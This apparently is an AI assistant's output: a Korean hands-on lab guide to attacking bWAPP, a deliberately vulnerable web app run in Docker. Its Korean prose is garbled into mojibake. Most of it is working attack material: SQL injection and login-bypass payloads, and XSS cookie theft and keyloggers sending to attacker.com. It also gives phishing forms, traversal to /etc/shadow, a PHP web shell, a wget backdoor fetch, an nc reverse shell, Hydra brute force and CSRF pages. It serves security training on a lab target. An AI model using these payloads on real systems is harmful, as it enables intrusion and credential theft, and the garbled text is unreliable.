Please continue.
์๋ฒฝํฉ๋๋ค! ์ด์ ์์ธํ ์ค์ต ๊ฐ์ ์๋ฃ๋ฅผ ์์ฑํ๊ฒ ์ต๋๋ค.
# Docker ์ค์น ํ์ธ
docker --version
# Docker๊ฐ ์๋ค๋ฉด ์ค์น
sudo apt update
sudo apt install docker.io -y# 1๋จ๊ณ: Docker ์ด๋ฏธ์ง ๋ค์ด๋ก๋
docker pull hackersploit/bwapp-docker
# 2๋จ๊ณ: ์ปจํ
์ด๋ ์คํ (ํฌํธ 80๋ฒ ์ฌ์ฉ)
docker run -d -p 80:80 hackersploit/bwapp-docker
# 3๋จ๊ณ: ์ปจํ
์ด๋ ์คํ ํ์ธ
docker ps# ๋ธ๋ผ์ฐ์ ์์ ์ ์
http://127.0.0.1/install.php- [Install bWAPP] ๋ฒํผ ํด๋ฆญ
- ์ฑ๊ณต ๋ฉ์์ง ํ์ธ ํ ๋ก๊ทธ์ธ ํ์ด์ง๋ก ์ด๋
- ๊ธฐ๋ณธ ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธ:
- Username:
bee - Password:
bug
- Username:
๋ก๊ทธ์ธ ํ ํ์ด์ง ์๋จ์์:
- ๋ณด์ ๋ ๋ฒจ ์ ํ:
low/medium/high - ์ทจ์ฝ์ ์ ํ: ๋๋กญ๋ค์ด ๋ฉ๋ด์์ ์ค์ตํ ์ทจ์ฝ์ ์ ํ
- Hack ๋ฒํผ ํด๋ฆญ์ผ๋ก ์ค์ต ํ์ด์ง ์ด๋
๊ฒ์ ํ๋ผ๋ฏธํฐ๋ฅผ ํตํ SQL Injection ๊ณต๊ฒฉ์ผ๋ก ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ ๋ณด ํ์ทจ
Choose your bug โ SQL Injection (GET/Search) โ Security Level: Low
์
๋ ฅ๊ฐ: iron'
๊ฒฐ๊ณผ: SQL ์๋ฌ ๋ฐ์ ํ์ธ โ ์ทจ์ฝ์ ์กด์ฌ ํ์ธ
ํ์ด๋ก๋: ' OR '1'='1
์ค๋ช
: WHERE ์กฐ๊ฑด์ ํญ์ ์ฐธ์ผ๋ก ๋ง๋ค์ด ๋ชจ๋ ๋ ์ฝ๋ ์กฐํํ์ด๋ก๋ 1: ' ORDER BY 1--
ํ์ด๋ก๋ 2: ' ORDER BY 2--
ํ์ด๋ก๋ 3: ' ORDER BY 7--
ํ์ด๋ก๋ 4: ' ORDER BY 8-- (์๋ฌ ๋ฐ์ โ 7๊ฐ ์ปฌ๋ผ ํ์ธ)
์ค๋ช
: ORDER BY ๊ตฌ๋ฌธ์ผ๋ก ์ปฌ๋ผ ๊ฐ์ ํ์ธ# ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ฒ์ ํ์ธ
ํ์ด๋ก๋: ' UNION SELECT 1,2,3,4,5,6,7--
# ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ด๋ฆ ํ์ธ
ํ์ด๋ก๋: ' UNION SELECT 1,database(),3,4,5,6,7--
# ์ฌ์ฉ์ ์ ๋ณด ํ์ทจ
ํ์ด๋ก๋: ' UNION SELECT 1,login,password,email,5,6,7 FROM users--
# ํ
์ด๋ธ ๋ชฉ๋ก ํ์ธ
ํ์ด๋ก๋: ' UNION SELECT 1,table_name,3,4,5,6,7 FROM information_schema.tables WHERE table_schema=database()--- ๋ชจ๋ ์ฌ์ฉ์์ ๋ก๊ทธ์ธ ์ ๋ณด ํ๋
- ๋ฐ์ดํฐ๋ฒ ์ด์ค ๊ตฌ์กฐ ํ์
- ์ถ๊ฐ ๊ณต๊ฒฉ ๋ฒกํฐ ์๋ณ
๋ก๊ทธ์ธ ํผ์ ํตํ ์ธ์ฆ ์ฐํ
Choose your bug โ SQL Injection (Login Form/Hero)
๋ฐฉ๋ฒ 1: ์ฃผ์์ ์ด์ฉํ ์ฐํ
Username: admin' OR '1'='1'--
Password: (์๋ฌด๊ฑฐ๋)
์ค๋ช
:
์๋ ์ฟผ๋ฆฌ: SELECT * FROM users WHERE login='admin' OR '1'='1'--' AND password='...'
์ฃผ์(--) ์ดํ ๋ฌด์๋์ด ์ธ์ฆ ์ฐํ๋ฐฉ๋ฒ 2: OR ์กฐ๊ฑด ์ด์ฉ
Username: ' OR 1=1--
Password: (์๋ฌด๊ฑฐ๋)๋ฐฉ๋ฒ 3: UNION ๊ณต๊ฒฉ
Username: admin' UNION SELECT 1,1,1,1--
Password: (์๋ฌด๊ฑฐ๋)๋น๋ฐ๋ฒํธ ์์ด ๊ด๋ฆฌ์ ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธ ์ฑ๊ณต
๋ฐ์ฌํ XSS๋ฅผ ํตํ ํด๋ผ์ด์ธํธ ์ฌ์ด๋ ๊ณต๊ฒฉ
Choose your bug โ Cross-Site Scripting - Reflected (GET)
Level: Low
// ํ์ด๋ก๋ 1: ๊ธฐ๋ณธ ์๋ฆผ์ฐฝ
<script>alert('XSS')</script>
// ํ์ด๋ก๋ 2: ์ฟ ํค ํ์ทจ
<script>alert(document.cookie)</script>
// ํ์ด๋ก๋ 3: ์ฟ ํค ์ธ๋ถ ์ ์ก
<script>
var img = new Image();
img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>
// ํ์ด๋ก๋ 4: ํ์ด์ง ๋ฆฌ๋ค์ด๋ ํธ
<script>window.location='http://malicious-site.com'</script>Level: Medium (script ํ๊ทธ ํํฐ๋ง ์ฐํ)
<!-- SVG ํ๊ทธ ์ด์ฉ -->
<svg onload=alert(document.cookie)>
<!-- IMG ํ๊ทธ ์ด์ฉ -->
<img src=x onerror=alert(document.cookie)>
<!-- BODY ํ๊ทธ ์ด์ฉ -->
<body onload=alert('XSS')>
<!-- Iframe ์ด์ฉ -->
<iframe src="javascript:alert('XSS')">// ํค๋ก๊ฑฐ ์ฝ์
<script>
document.onkeypress = function(e) {
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://attacker.com/log.php?key=' + e.key, true);
xhr.send();
}
</script>
// ์ธ์
ํ์ด์ฌํน
<script>
fetch('http://attacker.com/steal.php', {
method: 'POST',
body: JSON.stringify({cookie: document.cookie})
});
</script>- ์ฌ์ฉ์ ๋ธ๋ผ์ฐ์ ์์ ์์ ์คํฌ๋ฆฝํธ ์คํ
- ์ฟ ํค ๋ฐ ์ธ์ ์ ๋ณด ํ์ทจ ๊ฐ๋ฅ์ฑ ํ์ธ
์ ์ฅํ XSS๋ฅผ ํตํ ์ง์์ ์ธ ๊ณต๊ฒฉ
Choose your bug โ Cross-Site Scripting - Stored (Blog)
Level: Low
// ๋๊ธ ์
๋ ฅ๋์ ์ฝ์
<script>alert(document.cookie)</script>
// ์ด๋ฏธ์ง ํ๊ทธ ์ด์ฉ
<img src=x onerror=alert('Stored XSS')>
// ์ง์์ ์ธ ์ฟ ํค ์ ์ก
<script>
setInterval(function(){
new Image().src = 'http://attacker.com/log.php?c=' + document.cookie;
}, 5000);
</script>Level: Medium
<!-- SVG ์ด์ฉ -->
<svg onload=alert(document.cookie)>
<!-- Marquee ํ๊ทธ ์ด์ฉ -->
<marquee onclick=alert(document.cookie)>Click me!</marquee>
<!-- Details ํ๊ทธ ์ด์ฉ -->
<details open ontoggle=alert('XSS')>// ํผ์ฑ ํผ ์ฝ์
<div id="fake-login">
<h3>Session Expired - Please Login Again</h3>
<form action="http://attacker.com/phish.php" method="POST">
Username: <input name="user"><br>
Password: <input name="pass" type="password"><br>
<input type="submit" value="Login">
</form>
</div>- ๋ชจ๋ ๋ฐฉ๋ฌธ์์๊ฒ ์ํฅ์ ๋ฏธ์น๋ ๊ณต๊ฒฉ ๊ตฌํ
- ์ง์์ ์ธ ์ ๋ณด ํ์ทจ ๊ฐ๋ฅ
HTML ํ๊ทธ ์ฝ์ ์ ํตํ ํ์ด์ง ์กฐ์
Choose your bug โ HTML Injection - Reflected (GET)
๊ธฐ๋ณธ HTML ์ฝ์
<!-- ์ ๋ชฉ ๋ณ๊ฒฝ -->
<h1 style="color:red;">HACKED!</h1>
<!-- ๊ฐ์ง ๊ฒฝ๊ณ ๋ฉ์์ง -->
<div style="background:red;color:white;padding:20px;">
<h2>โ ๏ธ SECURITY ALERT!</h2>
<p>Your account has been compromised!</p>
</div>
<!-- ์ด๋ฏธ์ง ์ฝ์
-->
<img src="http://malicious-site.com/fake-logo.png" width="500">
<!-- ์ ์ฒด ํ์ด์ง ๋ฎ์ด์ฐ๊ธฐ -->
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;">
<h1>Site Under Maintenance</h1>
</div>ํผ์ฑ ํผ ์ฝ์
<form action="http://attacker.com/steal.php" method="POST">
<h3>Update Your Password</h3>
Old Password: <input type="password" name="old"><br>
New Password: <input type="password" name="new"><br>
<input type="submit" value="Update">
</form>์ฌ์ฉ์์๊ฒ ๊ฐ์ง ์ฝํ ์ธ ํ์ํ์ฌ ์ ๋ณด ํ์ทจ
ํ์ผ ๊ฒฝ๋ก ์กฐ์์ ํตํ ์์คํ ํ์ผ ์ ๊ทผ
Choose your bug โ Directory Traversal - Directories
๊ธฐ๋ณธ ๊ณต๊ฒฉ
# Linux ์์คํ
ํ์ผ ์ ๊ทผ
../../../../../etc/passwd
../../../../../etc/hosts
../../../../../etc/shadow
# ๋ค์ํ ์ธ์ฝ๋ฉ ์๋
..%2F..%2F..%2F..%2Fetc%2Fpasswd
....//....//....//etc/passwd
..\/..\/..\/..\/etc/passwdWindows ๋์ ๊ณต๊ฒฉ
..\..\..\..\..\windows\system32\drivers\etc\hosts
..\..\..\..\..\boot.ini
..\..\..\..\..\windows\win.iniNULL Byte ์ฐํ
../../../../../etc/passwd%00
../../../../../etc/passwd%00.jpg- ์์คํ ํ์ผ ๋ด์ฉ ํ์ธ
- ๋ฏผ๊ฐํ ์ ๋ณด ๋ ธ์ถ
์ด์์ฒด์ ๋ช ๋ น์ด ์คํ์ ํตํ ์๋ฒ ์ ์ด
Choose your bug โ OS Command Injection
๊ธฐ๋ณธ ๋ช ๋ น์ด ์คํ
# ์ธ๋ฏธ์ฝ๋ก ์ผ๋ก ๋ช
๋ น์ด ์ฒด์ด๋
127.0.0.1; ls -la
# AND ์ฐ์ฐ์ ์ฌ์ฉ
127.0.0.1 && whoami
# OR ์ฐ์ฐ์ ์ฌ์ฉ
127.0.0.1 || cat /etc/passwd
# ํ์ดํ ์ฌ์ฉ
127.0.0.1 | id์ ๋ณด ์์ง ๋ช ๋ น์ด
# ์์คํ
์ ๋ณด
; uname -a
# ์ฌ์ฉ์ ์ ๋ณด
; cat /etc/passwd
# ํ์ฌ ๋๋ ํ ๋ฆฌ
; pwd
# ๋คํธ์ํฌ ์ ๋ณด
; ifconfig
# ํ๋ก์ธ์ค ํ์ธ
; ps aux์ ์ฑ ํ์
# ํ์ผ ์์ฑ
; echo "<?php system($_GET['cmd']); ?>" > /var/www/html/shell.php
# ํ์ผ ๋ค์ด๋ก๋
; wget http://attacker.com/backdoor.sh -O /tmp/backdoor.sh
# ๋ฆฌ๋ฒ์ค ์
; nc attacker.com 4444 -e /bin/bash์๋ฒ์์ ์์์ ์์คํ ๋ช ๋ น์ด ์คํ ๊ฐ๋ฅ
์ฌ์ฉ์ ๋ชจ๋ฅด๊ฒ ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ ์์ฒญ ์คํ
Choose your bug โ Cross-Site Request Forgery (Change Password)
Burp Suite๋ก ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ ์์ฒญ ์บก์ฒ:
POST /bWAPP/csrf_1.php HTTP/1.1
password_new=test123&password_conf=test123&action=change
๋ฐฉ๋ฒ 1: ์๋ ์ ์ก ํผ
<!-- csrf_attack.html -->
<html>
<body onload="document.getElementById('csrf').submit()">
<form id="csrf" action="http://localhost/bWAPP/csrf_1.php" method="POST">
<input type="hidden" name="password_new" value="hacked123">
<input type="hidden" name="password_conf" value="hacked123">
<input type="hidden" name="action" value="change">
</form>
</body>
</html>๋ฐฉ๋ฒ 2: ์ด๋ฏธ์ง ํ๊ทธ ์ด์ฉ (GET ๋ฐฉ์)
<img src="http://localhost/bWAPP/csrf_1.php?password_new=hacked&password_conf=hacked&action=change">๋ฐฉ๋ฒ 3: JavaScript ์๋ ์คํ
<script>
fetch('http://localhost/bWAPP/csrf_1.php', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'password_new=hacked123&password_conf=hacked123&action=change',
credentials: 'include'
});
</script>์ฌ์ฉ์๊ฐ ๋งํฌ๋ฅผ ํด๋ฆญํ๋ฉด ์๋์ผ๋ก ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ
๊ฐ์ฒด ์ฐธ์กฐ ๊ฐ ์กฐ์์ผ๋ก ํ์ธ์ ์ ๋ณด ์ ๊ทผ
Choose your bug โ Insecure DOR (Change Secret)
์ ์ URL:
http://localhost/bWAPP/insecure_direct_object_ref_1.php?login=bee
์ฌ์ฉ์ ํ๋ผ๋ฏธํฐ ๋ณ์กฐ
# ๋ค๋ฅธ ์ฌ์ฉ์ ์ ๋ณด ์กฐํ
http://localhost/bWAPP/insecure_direct_object_ref_1.php?login=admin
http://localhost/bWAPP/insecure_direct_object_ref_1.php?login=A.I.M.
http://localhost/bWAPP/insecure_direct_object_ref_1.php?login=pablo
# Burp Suite Intruder๋ก ์๋ํ
bee โ admin, user1, user2, test, administrator...POST ์์ฒญ ๋ณ์กฐ
POST /bWAPP/insecure_direct_object_ref_2.php HTTP/1.1
login=admin&secret=NewSecret&action=change๋ค๋ฅธ ์ฌ์ฉ์์ ๋น๋ฐ๋ฒํธ๋ ๋ฏผ๊ฐ ์ ๋ณด ๋ณ๊ฒฝ ๊ฐ๋ฅ
์ทจ์ฝํ ์ธ์ ๊ด๋ฆฌ๋ฅผ ํตํ ๊ณ์ ํ์ทจ
Choose your bug โ Broken Auth. - Weak Login
์ผ๋ฐ์ ์ธ ๋น๋ฐ๋ฒํธ ์๋
Username: admin
Passwords:
- password
- admin
- 123456
- admin123
- password123
- letmein
- welcome
- monkey
- 1234
# ์ฌ์ฉ์ ๋ฆฌ์คํธ ์์ฑ
echo -e "admin\nbee\nuser\ntest" > users.txt
# ๋น๋ฐ๋ฒํธ ๋ฆฌ์คํธ ์์ฑ
echo -e "password\nadmin\n123456\nbug" > passwords.txt
# Hydra ์คํ
hydra -L users.txt -P passwords.txt localhost http-post-form "/bWAPP/login.php:login=^USER^&password=^PASS^:Invalid credentials"// ๊ณต๊ฒฉ์๊ฐ ์์ฑํ ์ธ์
ID๋ฅผ ํผํด์์๊ฒ ์ ๋ฌ
http://localhost/bWAPP/login.php?PHPSESSID=attacker_session_id
// ํผํด์๊ฐ ๋ก๊ทธ์ธํ๋ฉด ๊ณต๊ฒฉ์๋ ๋์ผ ์ธ์
์ผ๋ก ์ ๊ทผ ๊ฐ๋ฅ- ์ทจ์ฝํ ๋น๋ฐ๋ฒํธ๋ก ๊ณ์ ํ์ทจ
- ์ธ์ ๊ด๋ฆฌ ์ทจ์ฝ์ ์ดํด
# Kali Linux์ ๊ธฐ๋ณธ ์ค์น
burpsuite
# ํ๋ก์ ์ค์ : 127.0.0.1:8080
# ๋ธ๋ผ์ฐ์ ์์ ํ๋ก์ ์ค์ ํ HTTP ์์ฒญ ์บก์ฒ# ZAP ์คํ
zaproxy
# Automated Scan์ผ๋ก ์๋ ์ทจ์ฝ์ ์ค์บ# GET ํ๋ผ๋ฏธํฐ ํ
์คํธ
sqlmap -u "http://localhost/bWAPP/sqli_1.php?title=test&action=search" --dbs
# POST ํ๋ผ๋ฏธํฐ ํ
์คํธ
sqlmap -u "http://localhost/bWAPP/sqli_6.php" --data="title=test" --dump
# ์ฟ ํค ํฌํจ
sqlmap -u "http://localhost/bWAPP/sqli_1.php" --cookie="PHPSESSID=xxx;security_level=0"// Prepared Statement ์ฌ์ฉ
$stmt = $pdo->prepare("SELECT * FROM users WHERE login = :login");
$stmt->execute(['login' => $login]);// HTML ์ธ์ฝ๋ฉ
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// Content Security Policy ํค๋
header("Content-Security-Policy: default-src 'self'");// CSRF ํ ํฐ ์์ฑ
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
// ์์ฒญ ์ ํ ํฐ ๊ฒ์ฆ
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF token validation failed');
}๊ฐ ์์ ๋ฅผ ์๋ฃํ๋ฉด ์ฒดํฌํ์ธ์:
- ์์ 1: SQL Injection (GET/Search)
- ์์ 2: SQL Injection (Login Form)
- ์์ 3: XSS - Reflected (GET)
- ์์ 4: XSS - Stored (Blog)
- ์์ 5: HTML Injection
- ์์ 6: Directory Traversal
- ์์ 7: OS Command Injection
- ์์ 8: CSRF
- ์์ 9: IDOR
- ์์ 10: Session Management
- bWAPP ๊ณต์ ์ฌ์ดํธ: http://www.itsecgames.com/
- OWASP Top 10: https://owasp.org/www-project-top-ten/
- PortSwigger Web Security Academy: https://portswigger.net/web-security
- HackTheBox: https://www.hackthebox.eu/
- ํฉ๋ฒ์ ํ๊ฒฝ์์๋ง ์ค์ต: ๋ณธ์ธ ์์ ์ ์์คํ ์ด๋ ํ๊ฐ๋ฐ์ ํ๊ฒฝ์์๋ง ํ ์คํธ
- ๊ฒฉ๋ฆฌ๋ ํ๊ฒฝ ์ฌ์ฉ: Docker ์ปจํ ์ด๋๋ VM์ผ๋ก ๊ฒฉ๋ฆฌ๋ ํ๊ฒฝ ๊ตฌ์ถ
- ์ธ๋ถ ๋ ธ์ถ ๊ธ์ง: ์ทจ์ฝํ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ธํฐ๋ท์ ๋ ธ์ถํ์ง ์๊ธฐ
- ์ค์ต ํ ์ ๋ฆฌ: ์ปจํ ์ด๋ ์ข ๋ฃ ๋ฐ ์ญ์
# ์ปจํ
์ด๋ ์ข
๋ฃ
docker stop $(docker ps -q --filter ancestor=hackersploit/bwapp-docker)
# ์ปจํ
์ด๋ ์ญ์
docker rm $(docker ps -aq --filter ancestor=hackersploit/bwapp-docker)์ด ๊ฐ์ ์๋ฃ๋ก ์ค์ ์น ๋ณด์ ์ค๋ ฅ์ ํค์๋ณด์ธ์! ๐